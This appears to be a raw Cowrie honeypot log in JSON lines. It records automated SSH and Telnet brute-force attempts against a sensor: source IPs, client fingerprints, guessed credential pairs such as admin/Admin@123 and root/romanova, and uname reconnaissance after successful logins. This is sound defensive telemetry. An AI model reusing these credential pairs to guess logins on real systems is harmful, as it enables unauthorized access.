{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:02:19.203423Z","src_ip":"31.40.204.166","session":"749394f6b18a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:02:19.405562Z","src_ip":"31.40.204.166","session":"749394f6b18a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"Admin@123","message":"login attempt [admin/Admin@123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:02:20.110333Z","src_ip":"31.40.204.166","session":"749394f6b18a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:02:20.478364Z","src_ip":"31.40.204.166","session":"749394f6b18a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:02:20.481436Z","src_ip":"31.40.204.166","session":"749394f6b18a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:02:20.614316Z","src_ip":"31.40.204.166","session":"749394f6b18a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:02:20.619510Z","src_ip":"31.40.204.166","session":"749394f6b18a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45870,"dst_ip":"10.17.0.5","dst_port":23,"session":"5009549682a8","protocol":"telnet","message":"New connection: 152.42.224.71:45870 (10.17.0.5:23) [session: 5009549682a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:02:21.083764Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45876,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce0307b9d691","protocol":"telnet","message":"New connection: 152.42.224.71:45876 (10.17.0.5:23) [session: ce0307b9d691]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:02:22.075268Z"}
{"eventid":"cowrie.session.closed","duration":120.00684762001038,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:02:27.977202Z","src_ip":"152.42.224.71","session":"ebf9193e1986","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35448,"dst_ip":"10.17.0.5","dst_port":23,"session":"61bd7c5c4215","protocol":"telnet","message":"New connection: 152.42.224.71:35448 (10.17.0.5:23) [session: 61bd7c5c4215]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:02:30.395001Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35458,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b3d7b4c09ff","protocol":"telnet","message":"New connection: 152.42.224.71:35458 (10.17.0.5:23) [session: 3b3d7b4c09ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:02:30.950774Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":38714,"dst_ip":"159.203.135.109","dst_port":22,"session":"b14c5026dbe0","protocol":"ssh","message":"New connection: 31.40.204.166:38714 (159.203.135.109:22) [session: b14c5026dbe0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:02:31.401199Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:02:31.408501Z","src_ip":"31.40.204.166","session":"b14c5026dbe0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:02:31.586175Z","src_ip":"31.40.204.166","session":"b14c5026dbe0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uploader","password":"uploader","message":"login attempt [uploader/uploader] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:02:32.422779Z","src_ip":"31.40.204.166","session":"b14c5026dbe0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:02:33.586836Z","src_ip":"31.40.204.166","session":"b14c5026dbe0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":41432,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b870727fe92","protocol":"ssh","message":"New connection: 193.37.70.224:41432 (10.17.0.5:22) [session: 8b870727fe92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:02:35.654278Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:02:35.659189Z","src_ip":"193.37.70.224","session":"8b870727fe92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:02:35.753357Z","src_ip":"193.37.70.224","session":"8b870727fe92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":61934,"dst_ip":"10.17.0.5","dst_port":22,"session":"24c124d5ca1c","protocol":"ssh","message":"New connection: 152.42.212.128:61934 (10.17.0.5:22) [session: 24c124d5ca1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:02:35.768588Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:02:35.777920Z","src_ip":"152.42.212.128","session":"24c124d5ca1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:02:35.782873Z","src_ip":"152.42.212.128","session":"24c124d5ca1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"romanova","message":"login attempt [root/romanova] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:02:36.034703Z","src_ip":"193.37.70.224","session":"8b870727fe92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:02:37.130840Z","src_ip":"193.37.70.224","session":"8b870727fe92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53664,"dst_ip":"10.17.0.5","dst_port":23,"session":"e802266b81dd","protocol":"telnet","message":"New connection: 152.42.224.71:53664 (10.17.0.5:23) [session: e802266b81dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:02:40.026903Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":36794,"dst_ip":"159.203.135.109","dst_port":22,"session":"0360821b1843","protocol":"ssh","message":"New connection: 103.82.132.16:36794 (159.203.135.109:22) [session: 0360821b1843]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:02:41.277994Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:02:41.282157Z","src_ip":"103.82.132.16","session":"0360821b1843","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:02:41.541364Z","src_ip":"103.82.132.16","session":"0360821b1843","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"viewsonic","message":"login attempt [root/viewsonic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:02:42.318929Z","src_ip":"103.82.132.16","session":"0360821b1843","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.365864515304565,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:02:43.495434Z","src_ip":"152.42.224.71","session":"d166f78945c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:02:43.580633Z","src_ip":"103.82.132.16","session":"0360821b1843","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":53964,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa2d28c58531","protocol":"ssh","message":"New connection: 31.40.204.166:53964 (159.203.135.109:22) [session: aa2d28c58531]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:02:43.782357Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:02:43.993266Z","src_ip":"31.40.204.166","session":"aa2d28c58531","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:02:43.996917Z","src_ip":"31.40.204.166","session":"aa2d28c58531","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"grok","password":"123456","message":"login attempt [grok/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:02:44.711393Z","src_ip":"31.40.204.166","session":"aa2d28c58531","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:02:45.899116Z","src_ip":"31.40.204.166","session":"aa2d28c58531","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":26.808274745941162,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:02:48.883442Z","src_ip":"152.42.224.71","session":"ce0307b9d691","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.28619146347046,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:02:49.855752Z","src_ip":"152.42.224.71","session":"055576ea00bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":60024,"dst_ip":"159.203.135.109","dst_port":22,"session":"c43f576a8cec","protocol":"ssh","message":"New connection: 31.40.204.166:60024 (159.203.135.109:22) [session: c43f576a8cec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:02:55.485045Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:02:55.490111Z","src_ip":"31.40.204.166","session":"c43f576a8cec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:02:55.620895Z","src_ip":"31.40.204.166","session":"c43f576a8cec","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"steam123","message":"login attempt [steam/steam123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:02:56.420274Z","src_ip":"31.40.204.166","session":"c43f576a8cec","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:02:56.824136Z","src_ip":"31.40.204.166","session":"c43f576a8cec","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:02:56.827535Z","src_ip":"31.40.204.166","session":"c43f576a8cec","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:02:57.003709Z","src_ip":"31.40.204.166","session":"c43f576a8cec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:02:57.009272Z","src_ip":"31.40.204.166","session":"c43f576a8cec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":57.48100662231445,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:02:57.551734Z","src_ip":"152.42.224.71","session":"96c587d4e63d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":56.141488552093506,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:02:57.928496Z","src_ip":"152.42.224.71","session":"e247c608cae0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48600,"dst_ip":"10.17.0.5","dst_port":23,"session":"54d3d881b9f5","protocol":"telnet","message":"New connection: 152.42.224.71:48600 (10.17.0.5:23) [session: 54d3d881b9f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:02:58.273821Z"}
{"eventid":"cowrie.session.closed","duration":27.587162971496582,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:02:58.537825Z","src_ip":"152.42.224.71","session":"3b3d7b4c09ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":28.84035563468933,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:02:59.235220Z","src_ip":"152.42.224.71","session":"61bd7c5c4215","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":46076,"dst_ip":"10.17.0.5","dst_port":22,"session":"5bc7ef2610a2","protocol":"ssh","message":"New connection: 80.66.85.226:46076 (10.17.0.5:22) [session: 5bc7ef2610a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:03:03.518978Z"}
